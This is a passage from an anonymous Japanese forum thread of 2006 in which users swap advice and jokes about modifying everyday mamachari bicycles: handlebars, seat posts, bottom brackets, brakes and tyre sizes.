すげぇ厨な質問ｗｗｗｗｗｗ
791:ツール・ド・名無しさん
06/03/28 20:57:10
エンジンの強化。
792:ツール・ド・名無しさん
06/03/28 21:04:21
>>788
ロイヤルってくらいだから菊のエンブレム付けとけ。
5馬力アップする。
793:ツール・ド・名無しさん
06/03/28 21:15:54
>>788
これ付けると速くなるよ！
URLﾘﾝｸ(page8.auctions.yahoo.co.jp)
794:ツール・ド・名無しさん
06/03/28 21:20:37
えっ？ここクルマのスレ？
795:ツール・ド・名無しさん
06/03/28 22:45:42
動力付き自転車もガソリンエンジン時代
796:ツール・ド・名無しさん
06/03/28 22:48:13
>>781
教えてくれてありがとう。
規格がずいぶん違うのね。
難しそうだ…
797:ツール・ド・名無しさん
06/04/04 15:37:02
ハイスクール奇面組で奇面組のリーダーの乗っていたチャリで
仮面ライダーアマゾンのジャングラー号を模したのがでてきた
けどあれをいまだにかっこいいなぁと思ってる。
ああいうデコレーションが楽しめるのもママチャリならでわっすかね。
798:ツール・ド・名無しさん
06/04/05 03:29:30
>>797
超長を越えろ！
799:ツール・ド・名無しさん
06/04/06 12:16:26
奇面組懐かしいな。
800:ツール・ド・名無しさん
06/04/06 19:01:18
800
801:ツール・ド・名無しさん
06/04/08 00:22:20
超長ってチャリエースってやってる子のことでいいのかな。
スピーカ付けたりとかオイラもやったな。
802:ツール・ド・名無しさん
06/04/10 23:32:35
ブリヂストンのウルトラスーパーライト（9.7kg）改造したら相当速くなるんじゃないか?
なんちゃってロードをかもれる、
まさに羊の皮をかぶった狼。
803:ツール・ド・名無しさん
06/04/11 12:56:26
>>802
USLはカタログ落ちしたな。
804:ツール・ド・名無しさん
06/04/11 22:18:08
俺はちんぽの皮を被った亀頭だぜ
805:ツール・ド・名無しさん
06/04/12 01:04:52
>>803
マジ？価格の問題かなぁ
806:ツール・ド・名無しさん
06/04/12 22:19:11
アップハンドル逆転ドロハンにして
先をパイプカッターで切ろうかなと思ってる
ダイソーの４２０円ので切れるよね
807:ツール・ド・名無しさん
06/04/12 23:24:41
ママチャリのハンドルって鉄じゃね？切るのはちょっとキツイかも。
にしてもものすごいハンドル落差になりそうだ・・・。
808:ツール・ド・名無しさん
06/04/12 23:26:13
>>806
支援。
結構見てみたいな
809:ツール・ド・名無しさん
06/04/13 10:53:55
>>807
だね。スチール用のパイプカッターは2-3千円するので、
素直にダイソーの金切りノコを買うのがBetter
810:ツール・ド・名無しさん
06/04/13 16:10:50
ママチャリはハンドルが近いのが不満だ
811:ツール・ド・名無しさん
06/04/13 16:43:17
ステム換えたらいいじゃん。
カゴはブラケット自作してずらせばOK。
812:ツール・ド・名無しさん
06/04/13 21:00:55
パイプカッターより金切りノコのほうが切れるのかな・・・？
アップハンドル逆転をやったら810が言うようにえらく近くなりそうだ
813:ツール・ド・名無しさん
06/04/14 09:04:08
鉄の硬さはピンキリだからな。
以前ステンレス管を金ノコで切ろうとして（一応それ用の刃を使ったが）
ヤになって結局グラインダー使った。
814:ツール・ド・名無しさん
06/04/14 17:27:13
会社の工場でプラズマ切断機使った
815:ツール・ド・名無しさん
06/04/16 08:11:35
俺はレーザー。
816:ツール・ド・名無しさん
06/04/19 13:10:55
俺は手刀で。
817:ツール・ド・名無しさん
06/04/19 17:00:42
俺は斬鉄剣で。
818:ツール・ド・名無しさん
06/04/19 17:04:55
俺はお父さんに貰った肥後の守で
819:ツール・ド・名無しさん
06/04/23 01:05:39
嫁さんのママチャリ
ピラー交換してヤッた
820:ツール・ド・名無しさん
06/04/23 20:43:04
>>819
次は嫁さんの交換だあー
821:ツール・ド・名無しさん
06/04/25 21:12:26
誰かママチャリにスパイクタイヤ履かせて乗ってる人いないか？
もしいたらどんな感じか聞きたい。
822:ツール・ド・名無しさん
06/04/25 21:27:03
>>821
札幌出向時代にスパイク使ってたよ。
雪質にもよるけど、結構効果あるよ。
平坦なアイスバーンに軽く新雪が積もってる場所を走るのが好き。
823:ツール・ド・名無しさん
06/04/27 11:06:59
嫁に買ってやった、『丸石ふらっか～ずComo』を軽量化します。
（内装３段・リア２４インチで、23.7Kgという電アシ車並の重量・・・）
で、おおよそ強度に問題無いハズの、シートポストをカーボン製に、
リアキャリアを600g程度のアルミ製に交換する。泥ヨケは最小限のポリカ製を自作、
サドルもふかふかで1kg切るものあるから、合計4Kgはこれでダイエットできるハズ！
誰か（現ふらっか～ずオーナーさん！！）、シートポストの径を教えてくださいな♪♪♪
２０Kgを切る、ふらっか～ず！
824:ツール・ド・名無しさん
06/04/27 11:14:36
シートポストの強度は必要です
スポーツ車と違って、サドルに座るんですよ？
泥除けはポリカでもいいけど、しっかりスティつけないと走行最中に
ふるふる震えてしまい、役立たずになります。
そもそも、アルミフェンダーがついているんだから、軽いけど？
君、子供のことも奥さんのことも、大事に思ってないんですね。
自己満足 だけ の 屑夫
825:ツール・ド・名無しさん
06/04/27 12:02:36
……できやしない
その姿を
その加速するしなやかな悪魔を
一度でも目に焼き付けてしまったなら
もう忘れることなんてできやしない…
826:ツール・ド・名無しさん
06/04/27 12:22:25
>824
禿同
なんで子供乗せるチャリを軽量化する必要があるのか非常に疑問。
ああゆうチャリが重いのはそれなりの理由がある。
だいたいオクがそれを望んでいるのか？重くて漕ぐのが大変ってか？
オクや子供のこと考えるんだったら素直に電チャリ買ってやれや。
つ ｽﾚﾘﾝｸ(bicycle板)l50
827:ツール・ド・名無しさん
06/04/27 12:31:37
>823
つーか持ってるんだったらシートポストの径なんて分かるだろ？
自分で測れよ。
忠告しておくと、カーボンシートポストを付けるのは自由だけどママチャリのクランプで締めたら割れるよ。
828:ツール・ド・名無しさん
06/04/27 13:16:52
まあ電動はやめとけ、豚嫁になるぞ
829:ツール・ド・名無しさん
06/04/27 13:37:10
経験者は語る
830:ツール・ド・名無しさん
06/04/27 22:27:48
ものすごくド素人な質問で申し訳ないんだけど、ＢＳのカルーサロイヤル（変速なし）に
内装８段を取り付けることは可能ですか？
831:ツール・ド・名無しさん
06/04/27 22:45:07
>>830
エンド幅の問題がありますね。
832:ツール・ド・名無しさん
06/04/27 23:11:04
８段内装変速機 （インター８）
SG-8R25
Over Lock-nut Dimention 132mm
８段内装変速機 （インター８）
SG-8R20
Over Lock-nut Dimention 132mm
833:ツール・ド・名無しさん
06/04/29 20:13:11
＞８２３
サス付シートポストのほうが快適よ
ビクビクしながらカーボンシートポスト使うより全然いいよ
834:ツール・ド・名無しさん
06/05/03 15:52:02
なるほど！
835:ツール・ド・名無しさん
06/05/11 23:04:22
ハンドルをドロップに変えようと思い、
六角レンチであの長いネジを外したけどびくともしない。
固着してしまってるんでしょうか。別のママチャはすぐ抜けるのに（’Ａ’）
836:ツール・ド・名無しさん
06/05/12 00:23:51
おねがい☆ が足りないんだよ。
おまえがホンダマニアなら、
「本田宗一郎様、 ネジを回してください、お願いします」
と祈れ。
837:ツール・ド・名無しさん
06/05/12 00:25:20
>>835
外しちゃ駄目だよ。
5mm位頭が出るまで緩めて、
ハンマーで頭を叩いて臼を落とさなきゃ。
838:ツール・ド・名無しさん
06/05/12 03:40:46
>>835
まあそんだけ固着しとけば外しても大丈夫だな。
もう一回取り付けて、>>837がいうようにハンマーでたたく。
前輪を太ももではさんでこじる！こじる！こじる！
839:ツール・ド・名無しさん
06/05/14 22:11:05
>>836
ネジは回るんです本田様
837-838明日やってみますありがとうです
840:ツール・ド・名無しさん
06/05/14 22:54:39
叩くのはプラハンにしろよ
841:ツール・ド・名無しさん
06/05/15 21:56:41
流石に金槌では殴りませんでしたｗ
一度ではできなくて、自転車屋送りかと観念しかかりましたが、
何発目かに何かの拍子でできました。
感謝します（人）
やっぱり前傾姿勢でないとなぁ
842:ツール・ド・名無しさん
06/05/20 20:15:15
カゴをどうしたのか気になる
843:ツール・ド・名無しさん
06/05/20 23:43:12
God bless us all.
844:ツール・ド・名無しさん
06/05/20 23:45:22
加護かよｗ
845:ツール・ド・名無しさん
06/05/21 00:27:25
駕篭屋ですが乗りやすかい
846:ツール・ド・名無しさん
06/05/21 08:04:04
>>845
輪行できますか？
847:ツール・ド・名無しさん
06/05/22 14:48:07
籠（＆固定すつための部品も）、チェーンカバーを外して
サドルを高くし、ステムを長いのに換えたら自転車の変態度合いが増した
848:ツール・ド・名無しさん
06/05/22 23:35:20
ママチャリと認められるためには
カゴ、ドロヨケ、チェーンカバーは必須
849:ツール・ド・名無しさん
06/05/22 23:50:29
その3種の神器は、見た目がそれでさえあれば、
実はカーボンでも、微妙にエアロ加工されててもいいような気がする。
例えば見た目だけで荷物入れると壊れるようなかごとか。
それともカゴはネギの出た買物袋入ってないとダメか？
850:ツール・ド・名無しさん
06/05/22 23:52:08
エアロチタンカゴにカーボンドロヨケ欲しいよねぇ
851:ツール・ド・名無しさん
06/05/23 09:21:15
>>850
金さえ払ってくれたら作ってあげるよ。
852:ツール・ド・名無しさん
06/05/23 21:01:08
恐ろしく亀レスだが
>>180のやつはどこに売ってる？
853:841
06/05/23 21:50:12
>>842
ちと亀レスですが
前カゴはやめて、オバチャンが使う大きなリア籠。リアキャリアの分重いでつ
854:ツール・ド・名無しさん
06/05/24 10:44:57
>>852
ちょっと昔まではBMXに強いショップに置いてあったが・・・
現在はシラネ。
855:ツール・ド・名無しさん
06/05/24 12:26:38
>>853
なるほど
それは思いつかなかった
856:ツール・ド・名無しさん
06/05/25 00:28:39
誰か写真ｕｐ汁
857:ツール・ド・名無しさん
06/05/26 15:05:23
近所にドロハンのママチャリに乗ってる爺さんがいるのだが、このスレの住人なら手を挙げろ。
ママチャリのほうは新品だったがハンドルだけやたら年季入ってた。
858:ツール・ド・名無しさん
06/05/27 22:48:02
あぁ、なんかそういうの見てみたいなぁ
859:ツール・ド・名無しさん
06/06/03 03:10:40
BB取れない・・・・
860:ツール・ド・名無しさん
06/06/03 15:18:19
>>859
適切な工具使ってる？
潤滑スプレー漬けにしてる？
奇声あげてる？
861:ツール・ド・名無しさん
06/06/03 19:22:53
やっぱ周波数がﾎﾟｲﾝﾄっすか？＞奇声
862:ツール・ド・名無しさん
06/06/03 19:57:09
あと大きさな。
85dBぐらいは必要だぞ！
863:ツール・ド・名無しさん
06/06/03 20:40:23
ランドナーにカゴ付けちゃ駄目？
ホリゾンタルフレームは駄目ですか、そうですか。
864:ツール・ド・名無しさん
06/06/03 23:11:08
人の評価など気にするな
865:ツール・ド・名無しさん
06/06/04 12:00:40
>>860
適切な工具ってシマノの工具でいいんですか？
BBの所見たら、丸いふたみたいのに三つの凹みがある形状なんですけど
専用工具って手に入るんですか？
866:ツール・ド・名無しさん
06/06/04 16:55:27
>>865
シマノでも大丈夫だよ。
ウチはコレ使ってる。
URLﾘﾝｸ(www.hozan.co.jp)
たぶん堅く締まってるんだろうね。
5-56とかを隙間に吹いて一晩放置、
怪我しない様に手袋して気合い入れて回せ！
大きなマイナス貫通ドライバーを溝に当てて
ハンマーで叩いて回すのもいいかもね。
867:ツール・ド・名無しさん
06/06/05 00:31:58
緩めるつもりが締めこんでいた！
・・・というオチだったり。
ところどころ逆ネジがあるんでたまに勘違いする。
868:ツール・ド・名無しさん
06/06/05 12:47:30
ママチャリにVブレーキを付けてみたいので、カンチ台座が
必要なんだけど、
溶接・ロウ付け・ネジ止め
どれで十分？
869:ツール・ド・名無しさん
06/06/05 13:15:16
>>868
フロントはフォーク換えるとして、リアがなぁ。
台座を付けただけじゃシートステイの強度が足りないだろうね。
つーか、リアはVブレーキ必要無くない？
リアもVブレーキじゃないと駄目か？
870:ツール・ド・名無しさん
06/06/05 13:26:30
>>869
フロントだけで良いかな
で、台座の溶接よりもフォーク交換のほうがベターなの？
溶接だと、数百円のコストで出来そうなんだけど。
871:ツール・ド・名無しさん
06/06/05 15:15:37
ママチャリを踏み込むとBBからバキバキ音がします。
強度に関係あるのでしょうか。
手持ちのデオーレのBB(68ｍｍ)とクランクに移植できそうですか？
872:ツール・ド・名無しさん
06/06/05 15:34:03
>>871
ベアリングがイカレたんじゃない？とりあえずバラしてみなよ。
手持ちのBB・クランクが付くかどうかはその時試してみればいいし。
873:ツール・ド・名無しさん
06/06/05 21:06:12
ママチャリのＢＢシェルって大体なんｍｍ位？
874:ツール・ド・名無しさん
06/06/06 11:21:12
６８ｍｍ
875:ツール・ド・名無しさん
06/06/06 20:03:55
>>868
>>180
876:ツール・ド・名無しさん
06/06/06 22:57:39
８７１です。
先日子供(３歳)を通勤用のママチャリに前かごをつけ乗せました。
安全のためメットも父子でかぶって。
普段の自分のＭＴＢとはやはり段違いの遅くてガタガタするチャリでしたが
子供は大喜びで「パパの自転車速いねー。カッコイーねー」とはしゃいでいました。
「ママチャリをチューンしよう」本気で考えています。
フレームはともかく、ハブやＢＢ、ブレーキ等、キャリア用のイスに座らせた子に
「自転車がいかに滑らかに、静かに走るものなのか」
を教えてあげたいのです。
長々とすいません。
お気に触るような質問をするかもしれません。
よろしくお願いします。
877:ツール・ド・名無しさん
06/06/06 23:24:53
>>876
872で回答が出てるようだか補足。
バキバキ音の原因は強度云々はあまり関係無く（超粗悪品でなければ）、
BBの緩みや損傷でBB本体から出る場合と、
クランクやペダルの取り付け部分の緩みや損傷、
フレームのクラック等により出る場合が多いね。
よって、その自転車は早目にBBを分解清掃して各部損傷の点検をする必要があるね。
で、ついでにその時デオーレのパーツを組んでみたらいいんじゃないかな？
878:ツール・ド・名無しさん
06/06/06 23:42:46
特別な改造の必要はないんじゃないかな
ハブ、BBのグリスアップやチェーンのメンテで
すごくなめらかになるよ
あと絶妙なタイヤの空気圧を見つけるとか
879:ツール・ド・名無しさん
06/06/06 23:49:27
ありがとうございます。
やってみます。
ちなみに使用中のママチャリはジャイアントのクルーザータイプです。
ギアはシングルです。
リアのキャリアが重いのでハンドリングが重いのが悩みです。
スタンドを片足のにすれば少し楽になりますか？
(以前から子供をのせるときには座席の前後を問わず、
椅子に座らせた後も車体が倒れないように子供を抱きながらサドルに
座るようにしています)
ハンドルのポジション変更は有効でしょうか？
ハンドルのクランプ径はママチャリに対応するのでしょうか(オーバーサイズ
ではありません)？
880:ツール・ド・名無しさん
06/06/06 23:54:06
現在のポジションに納得行かないならハンドル交換もいいかもね。
クランプ径なんて手元にブツがあるんだから実測したらいいよ。
25.4mmだと思うけどね。
881:ツール・ド・名無しさん
06/06/07 00:05:21
ありがとうございます
ところでママチャリ用のシートポストを、手持ちのフライトがつけられるように
にしたいのです。
径がママチャリに対応する商品をご存知の方いらっしゃいますか。
882:ツール・ド・名無しさん
06/06/07 00:09:02
オレはカロイのMTB用使ってる
サイズは豊富だから合うヤツあると思う
883:ツール・ド・名無しさん
06/06/07 00:29:53
つーか、ママチャリ用のピラーじゃ付かないの？
884:ツール・ド・名無しさん
06/06/07 14:45:32
ママチャリのピラーはたいてい1インチ=25.4mm径。
ただし、実測お勧め。
885:ツール・ド・名無しさん
06/06/08 18:52:14
フロントブレーキのキャリパーがブレーキング時に
ガタガタします。
精度のよい商品ご存知の方お願いします。
(質問がだぶっているかもしれないですが・・・)
886:ツール・ド・名無しさん
06/06/08 18:53:41
>>885
シマノのデュアルピボットでいいじゃん。
887:ツール・ド・名無しさん
06/06/08 19:13:33
テクトロのデュアルピボットでもいいぞ
URLﾘﾝｸ(www.cb-asahi.co.jp)
888:ツール・ド・名無しさん
06/06/08 22:59:45
デュアルピボット(シマノ)は
ロングアームのがいいんでしょうか
889:ツール・ド・名無しさん
06/06/08 23:03:22
ブレーキレバーはＭＴＢ用のものを使用した際に
問題はないのでしょうか？
890:ツール・ド・名無しさん
06/06/09 07:42:39
>>888
シマノなら、スポーツ車用の奴じゃなくて、一般車用の奴だよ。
型番が、～030（詳しく忘れた、スマン）って奴。
>>889
使えない事無いけど、効き過ぎ&コントロール性悪しで使いづらいよ。
フラットバー用（BL-R440とか）がオススメ。
891:ツール・ド・名無しさん
06/06/09 17:38:18
BR-S030だな
892:ツール・ド・名無しさん
06/06/09 19:35:51
なぁ、このスレ的にはアビオスのフレームは使っちゃいかんのか？アビオスフレームを使えばそこそこ性能の高いママチャリ？を作れそうじゃん。
それ以上にいいフレームあるか？ワンオフ以外でさ。あ、スーパーライトか・・。とりあえずアビオスがここの車両規定に通るのかを教えてプレイヤー。
893:ツール・ド・名無しさん
06/06/09 22:52:30
確かにすごいのが作れそうですね。
アビオスかぁ・・・
手持ちのチャリをいじって何とかしてみたいと思っている私には
アビオスのフレームに云々というのは
高嶺の花というか別世界の話というか・・・
すみません
894:ツール・ド・名無しさん
06/06/09 23:36:04
>>892
それじゃ面白くないんだと思うｗ
895:ツール・ド・名無しさん
06/06/10 00:00:17
あんまり調子に乗ってると玄関に恥ずかしいステッカーを貼っちゃうよｗ
URLﾘﾝｸ(page7.auctions.yahoo.co.jp)
896:ツール・ド・名無しさん
06/06/10 00:03:33
>>895
こんなの貼られたら泣く。
897:ツール・ド・名無しさん
06/06/10 02:47:35
俺がr&mならこいつから散々巻き上げる。
898:ツール・ド・名無しさん
06/06/10 02:50:08
>>895
これは凄い呪いの魔方陣ですね
899:ツール・ド・名無しさん
06/06/10 18:35:20
>>887のテクトロ良さそうだな
アルホンガと違って前後別売りなのもいい
シューは交換必須だろうが
900:ツール・ド・名無しさん
06/06/10 19:54:45
あれだな、アビオスってのは湾岸でいったらＧＴ－Ｒなんだろうな。だれが乗ってもそこそこ速く走れるし。ロードコンポやらを投入すれば即座に性能アップが望める。
そんなアビオスに勝てるママチャリこそが悪魔のチューンドなんだろうな・・・。
901:ツール・ド・名無しさん
06/06/10 22:12:33
チェーンケースの中には、36Tギアが眠っている・・・
ステムは限界まで下げ、空力を意識・・・
しかし前カゴははずさない・・・
シートポストはさりげなくカーボン・・・
内装ギアなど不要、165mmクランクだしケイデンスで勝負だ・・・
チューブはよく見ると仏式に換装・・・
902:ツール・ド・名無しさん
06/06/12 15:27:07
ママチャリでシングルギヤのだと、チェーンラインをそろえてやって
タイヤを高圧対応のに変えたら結構軽くなるね（勿論チューブは仏式で）
勿論ハブやBBのベアリングのメンテはやらないと駄目だけどさ
903:ツール・ド・名無しさん
06/06/12 15:37:57
>>902
高圧対応のタイヤって、どんなのがあるの？
904:ツール・ド・名無しさん
06/06/12 18:24:18
アルベルトをベースにチューンする奴いね？
フロントフォーク・ハンドル・カゴ・シートはすべてカーボン…
ホイールは７００ＣＣのディスクホイール…
タイヤはミシュランプロレース２…サイズは21C
905:ツール・ド・名無しさん
06/06/12 18:25:31
カーボンかごﾜﾛｽ
906:ツール・ド・名無しさん
06/06/12 18:45:24
ディスクホイールだとカギかけれんな
907:ツール・ド・名無しさん
06/06/12 21:13:45
どこかに穴あける
908:ツール・ド・名無しさん
06/06/12 23:08:09
ハンドルロック
909:ツール・ド・名無しさん
06/06/13 00:06:17
７００Cと２７インチはどう違うのですか？
ママチャリ(２７インチです)のホイールをハブを１０５あたりで組んだ
場合、７００Cで組むと泥ヨケにあたりますか？
どっちが大きいんだろう・・
910:ツール・ド・名無しさん
06/06/13 00:19:37
ここ見ればどっちが大きいかわかる
URLﾘﾝｸ(www.cateye.co.jp)
それからママチャリのエンド幅はロードとは違うよ
911:ツール・ド・名無しさん
06/06/13 00:52:55
>>903
SCHWALBEのMARATHON辺りでどう？
これの26X1.5辺りに6kg位エア入れると走行抵抗減るでしょ
もっと細くするならMARATHON SLICKの26X1.35かな
912:ツール・ド・名無しさん
06/06/13 06:05:09
>>911
それってHEリム用だよね？リム交換前提の話だったのか・・・。
26HEにした場合、前ブレーキは問題無くリムに届く？
913:ツール・ド・名無しさん
06/06/13 07:09:06
ステンマックスに乗ってる。
ギアクランクを170mm化したいが、
パーツって売ってるのかな？
売ってたらいくらくらい？
914:ツール・ド・名無しさん
06/06/13 07:19:40
クランクだけ交換するとなるとママチャリ用を使うって事だよね？
170mmってあるのかな？165mmならスギノから出てるみたいだけど。
915:ツール・ド・名無しさん
06/06/13 12:54:00
ママチャリ用では探すの大変かも
外装変速ならロード用
内装かシングルならピスト用で使えるのがないか
916:ツール・ド・名無しさん
06/06/13 12:58:29
スポーツ車用の流用だとBB軸長の変更が必要だったり、
チェーンライン狂ったり、なかなか面倒臭い事になるかもね。
917:918
06/06/13 20:03:37
>>912
ママチャリは26X1 3/8が多いけどHEリム用でもほぼ問題無く付くよ
さすがに6k以上エアを入れるのは勧めないけどさ
サイズ的には26X1.35の方が近いし、サイドプルブレーキのアーチにも干渉しないでしょう
仮にリム交換してもリム幅的には問題無いと思われ
918:ツール・ド・名無しさん
06/06/13 20:14:20
マジか！いい事聞いた！
今度チャレンジしてみる。
Tservの1.25があるから使ってみるか。
919:ツール・ド・名無しさん
06/06/13 21:02:37
アビオスってサドルの前から乗れる？
実物見たことないのでネットの画像だとわかんない・・・
個人的には「サドルの前から乗車できる」のがママチャリレギュレーションの重要ポイント
内装8段でベルトでローラーブレーキ、っていかにも優等生ママチャリ
920:ツール・ド・名無しさん
06/06/14 04:39:53
>>917
HEタイヤ使えるってマジ？
ブレとか出てない？
921:ツール・ド・名無しさん
06/06/14 05:24:55
>>917
錯覚してない？
ETRTO表記だとビード径(リムにはまり込む部分の直径)
WO 26インチは590、HE 26インチは559でしょ
ちなみに700cだと622となるよ
922:ツール・ド・名無しさん
06/06/14 05:33:18
>>913
ずばりスギノ７５ピストのＢＢ＆クランク チャリ本体より高そうだけどな
923:918
06/06/14 09:53:48
嵌まらないじゃん・・・
924:ツール・ド・名無しさん
06/06/14 12:52:24
パナレーサーのStradius EliteにWO 26X7/8って有るんだな
URLﾘﾝｸ(www.panaracer.com)
でもリム幅より狭いかも・・・
925:ツール・ド・名無しさん
06/06/15 17:35:26
ギアを３２段変則にしましたー
926:ツール・ド・名無しさん
06/06/16 09:45:48
>>925
変則かあｗ
それはいいとして、３２段って８ｘ４？
927:ツール・ド・名無しさん
06/06/16 17:01:08
そのうち16×2の時代が来る
928:ツール・ド・名無しさん
06/06/16 21:24:03
アルベルトロイヤルエイトのインター8はSG-8R20
それともSG-8R25ですか初心者ですみません
929:ツール・ド・名無しさん
06/06/17 00:40:35
URLﾘﾝｸ(www.cycleurope.co.jp)
これって普通にＭＴＢ用パーツ使っているから、フルＸＴＲにするのも簡単だな。
URLﾘﾝｸ(www.cycleurope.co.jp)
こっちはフルデュラエースで
930:ツール・ド・名無しさん
06/06/17 22:37:17
>>929の2番目、フルデュラの車体デザイン
なんでトップチューブのラインを、途中で曲げるかなぁ？
ヘッドからリアまで真っ直ぐな、純ミキスト型の方が綺麗だと思うんだが･･･違うか？？
931:ツール・ド・名無しさん
06/06/18 01:57:36
ママチャリにこの改造するとイイと思うワケ
URLﾘﾝｸ(www.muchosucko.com)
932:ツール・ド・名無しさん
06/06/18 02:15:35
URLﾘﾝｸ(www.rakuten.co.jp)
最強度ママチャリ
933:ツール・ド・名無しさん
06/06/18 02:31:47
>>932
なんだって？！
スポーク140本！！！